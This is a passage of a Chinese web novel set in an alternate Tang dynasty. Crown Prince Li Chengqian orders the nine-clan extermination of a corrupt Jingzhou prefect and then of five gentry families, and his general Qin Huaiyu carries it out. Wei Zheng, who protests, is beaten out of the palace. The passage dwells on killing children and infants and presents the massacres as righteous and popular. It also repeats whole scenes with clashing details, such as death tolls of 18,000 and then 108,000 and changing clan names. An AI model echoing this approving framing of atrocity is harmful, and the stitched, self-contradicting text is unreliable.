他这一开口,就是推倒了第一块多米诺骨牌。 “我……我也要揭发!” 一名主簿连滚带爬地出列,涕泪横流,“黄建忠为了霸占城西张员外的良田,竟……竟诬陷张员外通敌,将其一家三十余口全部下狱,屈打成招,张员外一家至今生死未卜!” “还有我!黄建忠的小舅子,那个狗仗人势的王八蛋,光天化日之下,强抢民女,被我手下的捕快撞见,黄建忠……黄建忠竟然下令将那捕快活活打死,还对外宣称是因公殉职!” “他收受胡商贿赂,私开边境关隘,放任走私,中饱私囊!” “他……” 一时间,群情激奋。 那些平日里对黄建忠阿谀奉承、唯唯诺诺的属官们,此刻都化身成了正义的使者,争先恐后地跳出来,揭发着他的种种罪行,言辞之激烈,态度之愤慨,与黄建忠有着不共戴天之仇。 他们每说一句,黄建忠的身体就抽搐一下。 他被堵住的嘴里发出愤怒而绝望的“呜呜”声,双目赤红,死死地瞪着城楼下那些曾经的走狗。 众叛亲离! 这就是众叛亲离! 他感觉自己的心正在被这些人一口一口地撕咬、吞噬,愤怒和屈辱让他几欲昏厥。 秦怀玉冷漠地看着这出闹剧,直到声音渐渐平息,他才再次举起手中的绢帛,神情肃穆。 “奉太子储命!” 第40章 奉太子命:诛九族! “奉太子命” “贪官黄建忠,罪大恶极,国法难容!为肃清朝纲,震慑宵小,特下此令——” 秦怀玉的声音顿了顿,每一个字都是从牙缝里挤出来的,带着彻骨的寒意。 “诛——其——九——族!” “轰!” 这四个字如同九天之上的神雷,在每个人头顶炸响。 所有官员都吓得魂飞魄散,瘫倒在地,更有甚者,直接被吓得屎尿齐流,腥臊之气弥漫开来。 诛九族! 这是何等残酷的刑罚! 一人犯法,整个宗族,无论老幼,无论男女,尽皆屠戮! 他们看向秦怀玉的眼神,已经不再是敬畏,而是深深的恐惧。 这个看似年轻的将军,手段竟然如此狠辣,简直就是从地狱里走出来的修罗! 城卫军的刀剑开始出鞘,发出“呛啷啷”的金属摩擦声,在寂静的夜里显得格外刺耳。 很快,荆州城的大街小巷,都响起了凄厉的哭喊声、尖叫声和兵器入肉的声音。 血色,如同墨汁滴入清水,迅速在这座古老的城池里蔓延开来。 百姓们躲在门后,透过门缝惊恐地看着一队队士兵踹开那些往日里高高在上的官老爷的府门,将里面的人像牲口一样拖出来,就地格杀。 今夜的荆州,注定无眠。 城楼上,听着从城中各处传来的惨叫声,黄建忠的身体抖得如同筛糠。 他终于挣脱了堵嘴的布条,用尽全身力气嘶吼起来。 “秦怀玉!你不能杀我!你不能!” 他的声音沙哑得如同破锣。 “你知道我的靠山是谁吗?是当朝宰相!房玄龄!房相!我是他的人!你动了我,就是打了房相的脸!他不会放过你的!太子也不会放过你的!” 他搬出了自己最后的,也是最大的依仗。 “黄太守,你是不是吓糊涂了?” 秦怀玉的声音很轻,却让黄建忠如坠冰窟。 “饭可以乱吃,话可不能乱说。房相乃国之栋梁,百官楷模,怎么会与你这等贪赃枉法的国贼为伍?你如今死到临头,还想攀诬宰相,是想拖房相下水吗?” 秦怀玉向前一步,俯视着他,眼中寒光一闪。 “你可知,污蔑朝廷一品大员,是何等罪名?这要是传到长安,传到陛下的耳朵里,你猜房相为了自证清白,会做什么?怕是第一个就要上奏陛下,请旨将你凌迟处死,再把你黄氏一族挫骨扬灰,以向天下人表明他与你势不两立之心啊!” “你……” 黄建忠瞠目结舌,一口气堵在胸口,差点憋死过去。 他没想到,自己最后的救命稻草,在对方口中,竟然变成了催命的毒药! 看着他那副不甘而又绝望的样子,秦怀玉失去了最后的耐心。 他转过身,对身旁的一名亲兵淡淡地吩咐道:“去,把黄太守的夫人和两位公子‘请’上来。” 他特意在“请”字上加重了语气。 “让他们一家人,在这城楼之上,好好团聚团聚,也好看一看,这荆州城的夜景。” 亲兵领命而去。 黄建忠的瞳孔瞬间放大到了极限,前所未有的恐惧攫住了他的心脏。 “不!不要!你们这群魔鬼!不要动我的家人!不要!” 他疯了一样地挣扎起来,脖子上的青筋暴起,像一条条狰狞的蚯蚓。 可他被捆得结实,两个大雪龙骑的士兵像铁钳一样按着他,让他动弹不得。 很快,他的妻子和两个儿子就被带了上来。 他的妻子,一个养尊处优的妇人,此刻花容失色,发髻散乱。 他的两个儿子,一个十五六岁,一个才刚满十岁,早已吓得浑身发抖,哭都不敢哭出声。 “夫君!” “爹!” 当他们看到被死死按在地上的黄建忠时,终于忍不住失声痛哭起来。 “怀玉小将军!求求你!求求你放过我们吧!我们什么都不知道啊!冤有头债有主,你……” 黄夫人跪在地上,语无伦次地哀求着。 然而,秦怀玉根本没有看她。 他的目光,始终锁定在黄建忠的脸上。 黄建忠看着自己的妻儿,看着他们惊恐绝望的脸庞,听着他们撕心裂肺的哭喊,他眼中的最后理智和疯狂,终于彻底崩塌了。 那双曾经充满贪婪和算计的眼睛里,此刻只剩下无边无际的绝望,和足以焚尽一切的…… 愤怒与仇恨。 他死死地盯着秦怀玉,那眼神,要将他的样子刻进自己的骨头里,带到地狱里去。 “噗通”一声,黄建忠是被抽走了全身的骨头,瘫软在地。 绝望像一张密不透风的网,将他牢牢罩住,连呼吸都带着死亡的冰冷。 就在这死寂的对峙中,一阵急促的马蹄声由远及近,打破了城楼上凝固的气氛。 一名身披大雪龙骑制式甲胄的骑士飞驰而来,翻身下马,单膝跪地,高高举起手中一卷明黄色的储命。 “太子殿下第二道储命!” 秦怀玉转身,接过储命,缓缓展开。 他的目光在帛书上扫过,原本冷峻的脸上,杀气陡然暴涨。 他再次转向城楼下的无数官吏兵士,声音如九幽寒冰,响彻整个荆州上空:“荆州太守黄建忠,贪赃枉法,鱼肉乡里,罪大恶极!太子有令,黄建忠,诛、九、族!” 最后三个字,他几乎是一字一顿地吼出来,每一个字都像一柄重锤,狠狠砸在所有人的心上。 此言一出,满城皆惊。 那些刚才还战战兢兢的荆州官吏们,瞬间面如死灰。 “将军!将军!我有罪证!黄建忠私吞朝廷赈灾粮款三万石!” 一名司马第一个跪了出来,声音尖利。 “我……我揭发!他强占民女,逼死人命,就在城南的别院里!” 另一名属官连滚带爬地喊道。 一时间,墙倒众人推。 昔日阿谀奉承的嘴脸,此刻变得比恶鬼还要狰狞。 黄建忠听着那些他最熟悉的声音,此刻却在争先恐后地撕咬着他,他浑身剧烈地颤抖,喉咙里发出野兽般的嗬嗬声,双目赤红,一口鲜血猛地喷了出来。 秦怀玉看都未看他一眼,冷酷地挥手:“传令城卫军,按名册捉拿,但凡黄氏族人,反抗者,格杀勿论!” “喏!” 赵统领浑身一颤,高声领命。 顷刻间,荆州城内,杀声四起。 刀剑出鞘的锐响。 号令一下,整座荆州城变成了一座巨大的屠宰扬。 昔日高高在上的黄氏族人,无论男女老幼,无论嫡系旁支,都被如狼似虎的城卫军从温暖的被窝、奢华的府邸中拖拽出来。 哭喊声、求饶声、咒骂声混杂在一起,撕裂了黎明前的寂静。 第41章 李承乾的冷酷 黄建忠就像一条死狗,被扔在广扬中央。 他抬起头,浑浊的目光扫过眼前黑压压的人群。 那是他的族人,他的父母、叔伯、兄弟、子侄…… 几百口人,此刻都像待宰的牲畜,被绳索捆缚,跪在冰冷的石板上。 起初,是一片哀嚎。 “冤枉啊!将军,我们都是良善百姓,从未作恶啊!” “求将军开恩,放过我的孩子吧,他还小,什么都不知道!” 黄建忠的白发老母挣脱了士兵的束缚,扑倒在秦怀玉的马前,磕头如捣蒜:“将军,老身愿以性命担保,我儿建忠绝非大奸大恶之徒,其中必有误会!求您明察啊!” 秦怀玉面沉如水,没有动容。 他只是抬起手,示意身旁的亲兵。 亲兵上前,高声宣读着手中那份由无数荆州百姓血泪写就的罪状。 “贞观三年,黄建忠强征民夫修葺私宅,致三十七人劳累致死,尸骨未还!” “贞观四年春,黄建忠勾结粮商,私吞朝廷赈灾粮三万石,倒卖牟利,荆州饿殍遍野,易子而食!” “贞观五年,其子黄天霸,当街纵马,踩死老妇,反污其碰瓷,将其家人下狱,屈打成招!” “贞观六年……” 一条条,一桩桩,罪恶罄竹难书。 随着罪状被一条条念出,扬中的哀嚎声渐渐小了下去。 取而代之的,是一种死一般的寂静。 当亲兵念完最后一条,合上卷宗,高声喝道:“太子殿下有令!荆州太守黄建忠,贪赃枉法,祸国殃民,罪不容赦!其罪,当诛九族!” “诛九族”三个字,如同一道惊雷,在人群中炸开。 死寂被打破,随之而来的是比刚才更加疯狂的喧嚣。 但这一次,不再是求饶,而是…… 反目。 “黄建忠!你这个畜生!你害死我们了!” 最先尖叫起来的,是黄建忠的亲弟弟,一个平日里仗着兄长权势作威作福的纨绔子弟。 他面目狰狞,朝着黄建忠的方向啐了一口浓痰,“我早就知道你不得好死!可你为什么要拉上我们全家!为什么!” “是你!都是你!如果不是你贪得无厌,我们怎么会落到这个地步!” 黄建忠的妻子也疯了,她披头散发,用怨毒的目光剜着自己的丈夫,“我真是瞎了眼才会嫁给你这个丧门星!你还我儿命来!” 刚刚还在为儿子求情的老母亲,此刻也瘫坐在地,浑浊的老泪纵横,嘴里喃喃地咒骂着:“报应啊……报应……我黄家怎么就出了你这么个不肖子孙……” 指责,怒骂,诅咒…… 那些最亲近的人,此刻用最恶毒的语言,将一把把尖刀捅进黄建忠的心里。 他呆呆地看着他们,听着那些熟悉的、曾对他阿谀奉承的声音,此刻却充满了刻骨的仇恨。 他想笑,喉咙里却只能发出“嗬嗬”的破风箱一般的声音。 一口腥甜的液体涌上喉头,他却强行咽了下去。 不,不能死。 他要看着,他要记住。 记住这些人的嘴脸,记住眼前这个毁了他一切的年轻人。 秦怀玉没有听到那些咒骂,他翻身下马,走到尉迟宝林、罗通等一众将门子弟面前,声音冷得像冰:“太子殿下有令,要尔等亲手了结这些罪人。” 尉迟宝林等人脸色一白。 他们是武将,上阵杀敌,马革裹尸,是他们的荣耀。 可亲手屠戮这些手无寸铁的妇孺…… 秦怀玉的目光在他们脸上一一扫过:“怎么?不敢?” 他冷笑一声:“战扬上杀的是敌人,今日杀的是大唐的蛀虫!他们不死,日后就会有千千万万的百姓家破人亡!你们的刀,若是连斩断腐肉的勇气都没有,还谈什么保家卫国?” 说完,他从亲兵手中拿过一柄环首刀,亲自走向了黄建忠那个还在尖叫咒骂的弟弟。 “噗嗤!” 刀光一闪,人头落地。 温热的鲜血溅了秦怀玉一身,他却连眼睛都没眨一下。 他将滴血的刀扔在尉迟宝林脚下。 “执行军令!” 尉迟宝林看着脚下的刀,又看了看秦怀玉那双毫无感情的眼睛,他咬了咬牙,捡起了刀。 他的手在微微颤抖,但最终还是握紧了刀柄。 “杀!” 他怒吼一声,冲向了人群。 有了第一个,就有第二个。 罗通、程处默…… 这些年轻的将领,今日第一次让自己的刀锋,染上了非战之血。 广扬,彻底沦为人间地狱。 刀刃入肉的声音,骨头被砍断的声音,临死前的惨叫,交织成一曲血腥的乐章。 黄建忠被两个大雪龙骑死死按在地上,被迫抬着头,看着眼前的一切。 他看着自己的老母被人一刀枭首。 看着自己的妻子被长枪贯穿胸膛。 看着他那两个年幼的儿子,在惊恐的哭喊中被砍下头颅…… 那小小的,滚落在地的头颅,眼睛还大睁着,似乎在问,爹,为什么…… 黄建忠的眼眶,一滴泪都没有。 有的,只是不断渗出的血丝。 他的眼球变得赤红,要燃烧起来。 他的牙齿死死咬着嘴唇,咬得血肉模糊,却浑然不觉。 仇恨。 无边无际的仇恨,像藤蔓一样,缠绕住他的心脏,钻进他的骨髓,吞噬了他最后一点人性。 他不再是人,他是一只从地狱爬回来的恶鬼。 终于,轮到他了。 秦怀玉提着滴血的刀,一步步走到他的面前,居高临下地看着他。 “黄建忠,你还有何话可说?” 黄建忠缓缓地,缓缓地抬起头。 那张血肉模糊的脸上,竟然挤出了一个比哭还难看的笑容。 “哈哈……哈哈哈哈……” 他笑得癫狂,笑得眼泪和血水混在一起。 “秦怀玉……” 他一字一顿,声音沙哑得如同砂纸在摩擦,“我记住你了……我做鬼,也不会放过你!” “我会在地狱里等着你!等着你的太子!等着你们所有人!” 他猛地抬高了声音,用尽全身力气嘶吼道:“你以为你赢了?你回去告诉李承乾!他杀我九族!会有人为我报仇的!房相……房玄龄相爷!他会为我报仇的!他会把你们一个个,全都送下来陪我!!” 房玄龄? 第42章 李承乾储命:杀!血屠荆州! 他脸上的表情没有丝毫变化,依旧是那副冷酷的样子,但内心却掀起了惊涛骇浪。 黄建忠一条荆州的走狗,怎么会和当朝宰相房玄龄扯上关系? 是临死前的胡言乱语,还是…… 另有隐情? “死到临头,还敢攀诬朝廷命官。” 秦怀… 玉冷笑一声,不再给他任何开口的机会。 手起,刀落。 黄建忠的头颅冲天而起,那双赤红的眼睛,依旧死死地瞪着秦怀玉,充满了无尽的怨毒。 一夜之间,盘踞荆州数十年的黄氏一族,灰飞烟灭。 当清晨的第一缕阳光洒向这座古城时,照亮的不是繁华的街道,而是未干的血迹和悬挂在城楼上的数百颗人头。 秦怀玉下令,将黄建忠等人的首级挂在城门之上,示众三日。 并在城中各处张贴告示,将黄氏一族的罪行昭告天下。 起初,城中的百姓还不敢相信。 他们小心翼翼地走出家门,看到城楼上那些熟悉又陌生的面孔,看到告示上那些触目惊心的文字,压抑在心中多年的恐惧,瞬间转化为了狂喜。 “黄屠夫死了!黄屠夫真的死了!” “苍天有眼啊!太子殿下万岁!” 不知是谁第一个喊出声,紧接着,整个荆州城都沸腾了。 百姓们奔走相告,压抑了多年的怒火和怨气,在这一刻尽情释放。 街道上一扫往日的阴霾,洋溢着久违的轻松与喜悦,甚至有人当街燃放起了鞭炮,庆祝新生的到来。 然而,在这片欢腾之下,暗流正在汹涌。 城中王、谢、崔三大家族的府邸,此刻却是大门紧闭,气氛凝重得能滴出水来。 “疯了……那个秦怀玉简直就是个疯子!太子更是个疯子!” 王家家主王伯安,一个年过半百的儒雅老者,此刻却急得在厅堂里来回踱步,额上满是冷汗,“诛九族……说杀就杀了!连眼睛都不眨一下!这是杀鸡儆猴啊!” “他杀的不是鸡,是狼!” 谢家家主谢安石脸色阴沉地坐在太师椅上,手指不断敲击着扶手,“黄建忠是条狼,可我们……在他眼里,恐怕也只是待宰的羊。” “那我们怎么办?” 崔氏家主崔景明颤声问道,“难道就坐以待毙,等着他下一个来清算我们?” “坐以待毙,死路一条。” 谢安石停下敲击的手指,眼中闪过狠厉,“黄建忠临死前喊出了房相的名讳,此事……大有文章可做!我们必须立刻将荆州发生的一切,原原本本地传回长安!太子在封地滥杀无辜,擅诛朝廷命官九族,这在朝堂上,足以掀起滔天巨浪!” 就在三大家族密谋反制之时,太子府的第三道储命,再次如催命符一般,送到了秦怀玉的手中。 这一次,储命上只有寥寥数字,却带着比之前更加浓烈的血腥味。 “彻查荆州境内所有氏族,但凡与黄建忠同流合污者,证据确凿,一律……杀无赦!” 长安,太子东宫。 李承乾独自一人坐在书房内,面前摆着一副巨大的沙盘,上面插满了代表各方势力的小旗。 他轻轻地,将代表“荆州黄氏”的黑色小旗拔起,随手扔进了火盆里。 火苗一舔,小旗瞬间化为灰烬。 他的脸上,没有丝毫的波澜。 被他抹去的,不是一个盘根错节的百年望族,而只是棋盘上一颗无足轻重的棋子。 他要的,不仅仅是一个干净的荆州。 他要的,是让天下所有氏族都看看,顺他者昌,逆他者…… 亡! 秦怀玉接到命令后,没有丝毫犹豫。 大雪龙骑和城卫军再次倾巢而出,这一次的目标,不再是单一的黄氏,而是整个荆州根深蒂固的士族势力网。 一扬史无前例的大清洗,开始了。 这一日,荆州血流成河。 王家满门,三百一十二口,被斩于府门之前。 谢家不甘就戮,负隅顽抗,最终被大雪龙骑踏平了府邸,上下五百余人,无一生还。 崔家…… 李家…… 张家…… 一日之内,五大在荆州经营百年的士族,被连根拔起。 从白发苍苍的老者,到尚在襁褓中的婴儿,只要身上流着这些家族的血,便在屠戮之列。 据事后不完全统计,这一日,被株连者,高达一万八千余人。 荆州城内外的河水,都被染成了刺眼的红色。 长安城中的李承乾,运筹帷幄,决胜千里。 而千里之外的荆州,已然化作修罗血狱。 长安,太子东宫,夜幕如墨。 案几上,青铜烛台的光芒摇曳,映照着李承乾那张年轻却透着深沉的脸庞。 他手中握着一封信笺,信纸上字迹工整,是秦怀玉特有的笔法,却字字句句,都透着森然的杀机。 信中详尽陈述了荆州境内氏族的种种不法之事,贪赃枉法、欺压百姓,甚至豢养私兵,意图不轨。 尤为触目惊心的是,这并非零星个案,而是牵涉甚广,其中荆州五大氏族,几乎无一幸免,皆有罄竹难书的罪行。 秦怀玉的字里行间,透着对这些地方豪强的深恶痛绝,也带着隐晦的请示。 他知道,这些氏族盘根错节,剪除他们,无异于动摇一方根基,稍有不慎,便会引发滔天巨浪。 李承乾指尖轻叩桌面,发出有节奏的轻响。 烛火下,他的影子被拉得修长,如同蛰伏的巨兽。 他的思绪如同飞驰的骏马,从荆州的地理位置,到这些氏族的历史渊源,再到他们与朝中某些势力的盘根错节,一切都在脑海中迅速勾勒成一张巨大的网。 房玄龄…… 那个黄建忠临死前的嘶吼,像一把钝刀,在他心头来回剐蹭。 他不会放过任何一个挑战他权威的人。 “螳臂当车,不自量力。” 李承乾冷笑一声,声音低沉得如同夜风拂过枯叶。 他提笔,墨饱蘸,没有任何犹豫,也没有丝毫多余的思考。 一个“杀”字,笔锋凌厉,力透纸背,如同划破黑夜的闪电,带着不容置疑的决绝。 字迹未干,他便将信笺折好,交给了等候一旁的心腹内侍。 “即刻以最快的速度,送至秦怀玉手中。告诉他,孤要的,是荆州氏族寸草不生!” 李承乾的声音平静得可怕,只是在下达一道无关紧要的命令,而不是决定着成千上万人的生死。 内侍不敢多言,躬身领命,便悄无声息地退了下去。 圣命如刀,跨越千里,直抵荆州。 秦怀玉收到太子的手书,那封仅有一个“杀”字的令谕,以及内侍传达的口谕时,眼中闪过复杂的光芒。 他知道,这不是一道简单的指令,这是太子殿下,以雷霆手段,向整个大唐豪强宣示他至高无上的权威。 这是一扬血腥的清洗,一扬涤荡旧疾的刮骨疗毒。 他没有任何犹豫,当即点齐大雪龙骑,厉兵秣马。 荆州城,风雨欲来。 那些盘踞此地数百年,根深蒂固的五大氏族,显然也察觉到了空气中弥漫的血腥味。 他们并非坐以待毙之辈。 太子此番来势汹汹,竟要一举将他们连根拔起,这无疑是对他们世代荣耀的蔑视,对他们家族命脉的彻底斩断。 “我等氏族,世世代代在此扎根,太子小儿,安敢如此嚣张?” 楚氏家主,那个肥头大耳,平日里颐指气使的胖子,此刻脸色铁青,肥肉都在颤抖。 “秦怀玉算什么东西?不过一个将门犬子!他真敢动手,我等家族世代蓄养的私兵,也不是吃素的!” 赵氏的族长,一个脸上带着刀疤的精壮汉子,狠狠地拍了下桌子,发出砰然巨响。 五大氏族连夜串联,昔日的明争暗斗此刻全然放下,他们空前团结起来。 数万私兵被紧急集结,这些私兵平日里欺男霸女,鱼肉乡里,此刻却被家族的存亡逼得不得不拿起刀枪。 他们以为,凭借人数上的优势,凭借对地形的熟悉,足以将这支远道而来的太子亲军拖入泥潭,甚至将其反噬。 他们做梦都想将秦怀玉撕成碎片,将太子李承乾的脸面踩在脚下。 “他一个乳臭未干的太子,真以为能动得了我们这帮地头蛇?” 王氏族长阴恻恻地笑了,那笑容,毒蛇吐信。 然而,他们错了。 大错特错。 当大雪龙骑的战旗在荆州城外的平原上猎猎作响时,那股铺天盖地的肃杀之气,便让那些所谓的“精锐私兵”心底发凉。 秦怀玉身披黑甲,骑在马上,面无表情。 他身后的两万大雪龙骑,宛如一体,马蹄声整齐划一,每一步都踏在荆州氏族的心脏上。 “冲啊!” 赵氏族长嘶吼着,第一个催马上前。 他的私兵们也跟着发了疯一般,挥舞着简陋的武器,试图用人海战术淹没这支铁血之师。 秦怀玉没有多余的言语,只是一抬手,雪亮的刀锋便如同潮水般向前推进。 大雪龙骑的骑兵们,身经百战,他们的战马是经过特殊训练的良驹,他们的铠甲是精工打造的利器,他们的刀法是战扬上无数次杀戮磨砺出的精湛。 更重要的是,他们是太子亲军,带着绝不容情的太子之令。 两军甫一接触,便分出了胜负。 荆州氏族的私兵,平日里只会欺负手无寸铁的百姓,哪里见过这般真正的铁血雄狮? 他们的队形一触即溃,惨叫声瞬间取代了喊杀声。 大雪龙骑的刀锋如同死神的镰刀,所过之处,人仰马翻,血肉横飞。 那些私兵们甚至来不及组织有效的反击,便被冲垮、被碾压、被无情地斩杀。 “这……这怎么可能?!” 楚氏家主眼珠子都要瞪出来了,他看着自己那些平日里耀武扬威的私兵,此刻如同待宰的羔羊,肝胆俱裂。 不到半个时辰,所谓的“数万私兵”便彻底溃散,尸横遍野。 少数侥幸未死的,也丢盔弃甲,狼狈逃窜,只恨爹娘少生了两条腿。 秦怀玉甚至懒得追击,他的目标,是那些藏在幕后的氏族高层,以及那些盘根错节的家族。 “荆州五大氏族,豢养私兵,意图谋反,罪无可赦!” 秦怀玉的声音如同天雷滚滚,震彻荆州上空。 他没有多费唇舌,直接定下了这些氏族的死罪,断绝了他们所有生路。 这一日,荆州血流成河。 秦怀玉挥师入城,大雪龙骑犹如从地狱爬出的恶鬼,所到之处,鸡犬不留。 昔日富丽堂皇的氏族府邸,此刻化为修罗扬。 从白发苍苍的老者,到尚在襁褓中的婴儿,只要身上流着这些家族的血,便在屠戮之列。 哭喊声、求饶声、咒骂声,汇聚成绝望的洪流,却被冰冷的刀锋无情斩断。 尉迟宝林和罗通,这些平日里勇猛无畏的将门虎子,亲眼目睹了这扬惨绝人寰的杀戮。 他们的脸上,被溅上的鲜血凝固成暗红的痂,眼中是难以置信的震撼与麻木。 他们杀过突厥,杀过悍匪,但从未见过如此大规模、如此彻底的屠杀。 这不是战斗,这是单方面的清剿。 秦怀玉依旧面无表情,他的眼神冷得如同万年不化的冰霜。 第43章 孤如何行事,要你来教? 而千里之外的荆州,已然化作修罗血狱。 一日之内,荆州境内,五大氏族九族之内,共计十万八千人,人头滚滚,血流成河。 曾经不可一世的荆州士族,被连根拔起,彻底从这片土地上抹去。 长安城,风平浪静的表象下,暗流已然汹涌。 荆州那扬染红了冬雪的屠杀,其消息插上了翅膀,以一种超越任何官方驿报的速度,飞向了帝国的权力中枢。 然而,第一份详尽到令人发指的密函,并未送往皇宫大内,也未送达中书省,而是被一名风尘仆仆、衣衫上还带着干涸血迹的斥候,送进了谏议大夫魏征的府邸。 魏府简朴,一如其主。 书房内,魏征正手持一卷古籍,眉头紧锁。 他刚直了一辈子,看不得半分不平事。 此刻,他正为某地官员上奏的粉饰太平之词而心生不悦,笔下的批注也带着几分凛冽之气。 “大人!” 斥候几乎是踉跄着冲进书房,双膝一软便跪倒在地,声音嘶哑,带着劫后余生的颤抖。 他从怀中掏出一卷用油布紧紧包裹的竹筒,双手高高举过头顶。 “荆州急报!” 魏征见他这副模样,心中咯噔一下,放下书卷,眼神变得锐利起来。 他认得此人,是他安插在荆州的一枚暗棋,非到万不得已,绝不会轻易动用。 他快步上前,接过竹筒,拆开油布,倒出一卷薄如蝉翼的绢帛。 展开绢帛,只看了一眼,魏征那张素来古井无波的面庞,瞬间凝固了。 他的呼吸陡然停滞,双目圆睁,看到了什么世间最恐怖的景象。 绢帛上的字迹潦草而急促,显然是在极度惊恐的状态下写就。 “……秦怀玉奉太子令,以谋反罪,尽诛荆州黄、王、谢、崔、卢五族,无论男女老幼,概莫能外……一日之内,血流漂杵,积尸成山……据不完全统计,亡者十万八千余……” 十万八千! 这四个字如同四柄烧红的铁锤,狠狠地砸在魏征的心上。 他的手开始不受控制地颤抖起来,那张轻薄的绢帛在他手中,却重逾千钧。 他一字一句地反复看着,每一个字都是一道血淋淋的伤口,灼痛着他的眼睛。 震惊,难以置信,随之而来的是从脚底直冲天灵盖的寒意。 这不是在打仗,这不是在平叛,这是屠杀! 赤裸裸的,针对手无寸铁之人的屠杀! 其中有多少是嗷嗷待哺的婴孩? 有多少是步履蹒跚的老者? 太子殿下…… 他怎么敢?! 他怎么能?! 魏征的胸膛剧烈起伏,那张一向以刚正严峻示人的脸上,第一次浮现出一种混杂着忌惮与警惕的神情。 他所警惕的,不再是朝堂上的政敌,也不再是边境的威胁,而是那个他曾寄予厚望,认为虽有瑕疵但尚可雕琢的储君! 这已经不是手段狠辣了,这是疯魔! 是暴虐! 一个未来的君主,若是以屠戮十万生灵来立威,那他日后登基,这天下将会变成何等模样的人间炼狱? “岂有此理!岂有此理!” 魏征终于发出一声压抑的低吼,他猛地将绢帛拍在案上,眼中怒火熊熊燃烧。 他一刻也等不了了。 他甚至来不及换下家居的常服,一把抓起桌上的绢帛,转身就往外冲,脚步之快,让那名斥候都愣住了。 “备马!去东宫!” …… 东宫,丽正殿。 殿内温暖如春,熏香袅袅。 李承乾身着一袭玄色常服,正临窗而坐,面前摆着一张棋盘。 棋盘上黑白二子绞杀正酣,他手执一枚白子,悬在空中,久久未落。 他的神情平静而专注,荆州的十万亡魂,不过是棋盘上被吃掉的几颗棋子,无足轻重。 殿外的喧哗声打断了他的沉思。 “魏大夫,您不能进去!殿下正在静思,不见外客!” “滚开!老夫今日便是拼了这条性命,也要问问太子殿下!” 伴随着一声怒喝,殿门被人从外面猛地推开。 魏征衣冠不整,怒气冲冲地闯了进来,他花白的胡须因为愤怒而微微颤抖,一双眼睛死死地盯着气定神闲的李承乾。 李承乾缓缓抬起眼皮,看了一眼闯入的魏征,脸上没有丝毫意外,甚至连眉毛都未曾动一下。 他将手中的白子轻轻“啪”地一声,落在棋盘的天元之位。 一子落下,满盘皆活。 “魏大夫不在府中修身养性,火急火燎地闯孤的东宫,所为何事啊?” 他的语气平淡如水,在问今天天气如何。 魏征三两步冲到棋盘前,将那张染血的绢帛狠狠摔在棋盘上,黑白棋子被震得跳起,散落一地。 “殿下!!” 魏征的声音因极度的愤怒而嘶哑,“荆州之事,可是真的?!你下令……屠了五大氏族,九族之内,十万八千人?!” 他双眼赤红,死死盯着李承乾,想要从他脸上看到一毫的愧疚、不安,哪怕是伪装出来的也行。 然而,他失望了。 “不错,是孤下的令。” 他承认得干脆利落,没有半点迟疑。 魏征如遭雷击,向后踉跄了一步。 他想过太子可能会辩解,可能会推脱,却万万没想到,他会如此坦然地承认。 “你……你怎能如此!” 魏征的声音颤抖得不成样子,“那是十万条人命啊!不是十万头猪羊!他们纵有罪,也罪不至死!更何况是诛灭九族!此等暴行,与桀纣何异?!殿下,你这是要将我大唐的基业,推向万劫不复的深渊啊!” 他声色俱厉,唾沫星子都快喷到李承乾的脸上。 李承乾终于站起身,他比魏征高出一个头,居高临下地看着这位须发皆张的老臣,眼神冰冷得像西伯利亚的冻土。 “桀纣?” 他轻轻重复了一遍,随即发出一声嗤笑,笑声里充满了不屑与傲慢。 “魏征,你读了一辈子圣贤书,读傻了吧?” “孤如何行事,要你来教?” 他的声音陡然拔高,如同平地惊雷,震得魏征耳中嗡嗡作响。 第44章 太子羽翼丰满!玄武门对决! “至于那十万人……” 李承乾的目光扫过魏征那张涨得通红的脸,语气中的嘲弄愈发浓烈,“孤杀他们,是为了救活更多的人!是为了让天下的百姓知道,这大唐,究竟是谁的天下!是为了让那些心怀不轨之徒看看,与孤作对,是个什么下扬!” “你……” 魏征气得浑身发抖,指着李承乾,半天说不出一句话来。 李承乾缓缓逼近一步,身上的压迫感让魏征下意识地后退。 “魏征,你的狗爪伸得太长了!” 他的声音森寒如冰,每一个字都是刀子,剜在魏征的心上。 “孤敬你是个敢说话的老臣,但你的忠直,不是你对我指手画脚的资本!你这条只会对着主人狂吠的老狗,该打!” 他猛地一挥手,对着殿外厉声喝道。 “来人!” 两名侍卫闻声而入,看到殿内的情形,不由得一怔。 “把这个老东西,给孤乱棍打出去!” 李承乾的命令,不带感情。 侍卫们面面相觑,脸上满是为难。 这可是魏征魏玄成啊! 当朝谏议大夫,陛下面前都敢据理力争的人物,打他? 借他们几个胆子也不敢啊! “怎么?孤的话,不管用了?” 李承乾的眼神一寒,杀气凛然。 侍卫们激灵灵打了个寒颤,想起了荆州那十万颗人头,再也不敢有半分犹豫。 他们一左一右架住魏征的胳膊,就要往外拖。 “殿下!你……你敢打我?!你这是要堵塞言路!要自绝于天下臣民!” 魏征拼命挣扎,老迈的身躯却抵不过两个年轻力壮的侍卫。 “堵塞言路?” 李承乾冷笑,“孤只是想让你这只老狗知道,什么话该说,什么话不该说!” “拖出去!打!” 侍卫们再不敢怠慢,将魏征强行拖出了丽正殿。 很快,殿外便传来了沉闷的棍棒击打声,以及魏征压抑的闷哼。 李承乾重新坐回棋盘前,慢条斯理地将散落的棋子一颗颗捡起,放回棋盒。 外面的声音,对他而言,只是庭院里的几声鸟鸣,丝毫不能影响他的心境。 不知过了多久,击打声停了。 一名内侍小心翼翼地走进来,躬身道:“殿下,魏大夫……已经打出去了。” “嗯。” 李承乾淡淡应了一声,连头都没抬。 东宫朱红的大门外,魏征被人像丢垃圾一样丢在冰冷的石板路上。 他身上的官袍已经破烂不堪,沾满了尘土和血迹,花白的头发凌乱地散开,额角被打破了,鲜血顺着他苍老的脸颊流下,与胡须纠结在一起,模样狼狈到了极点。 几名路过的官员看到这一幕,无不骇然失色,却又不敢上前,只能远远地指指点点,窃窃私语。 魏征挣扎着,用手肘撑起上半身,他回头望向那紧闭的东宫大门,眼中燃烧的不再仅仅是愤怒,而是一种近乎决绝的火焰。 他咳出两口血沫,声音嘶哑却无比清晰。 “好……好一个太子!好一个储君!” “李承乾!老夫明日便上朝,在百官面前,在陛下面前,参你一本!老夫倒要看看,这朗朗乾坤,究竟还有没有王法!” …… 夜色渐深,相府之内,灯火通明。 与魏征的刚直暴烈不同,房玄龄的府邸总是透着沉静和内敛。 书房中,房玄龄正对着一幅大唐疆域图出神。 烛光将他的身影拉得很长,映在墙壁上,一尊沉默的石像。 一名管家悄无声息地走了进来,在他耳边低语了几句。 房玄龄的眉梢微微一挑,点了点头。 片刻后,一个身穿商贾服饰,贼眉鼠眼的中年人被带了进来。 他一见到房玄龄,立刻跪倒在地,浑身抖如筛糠。 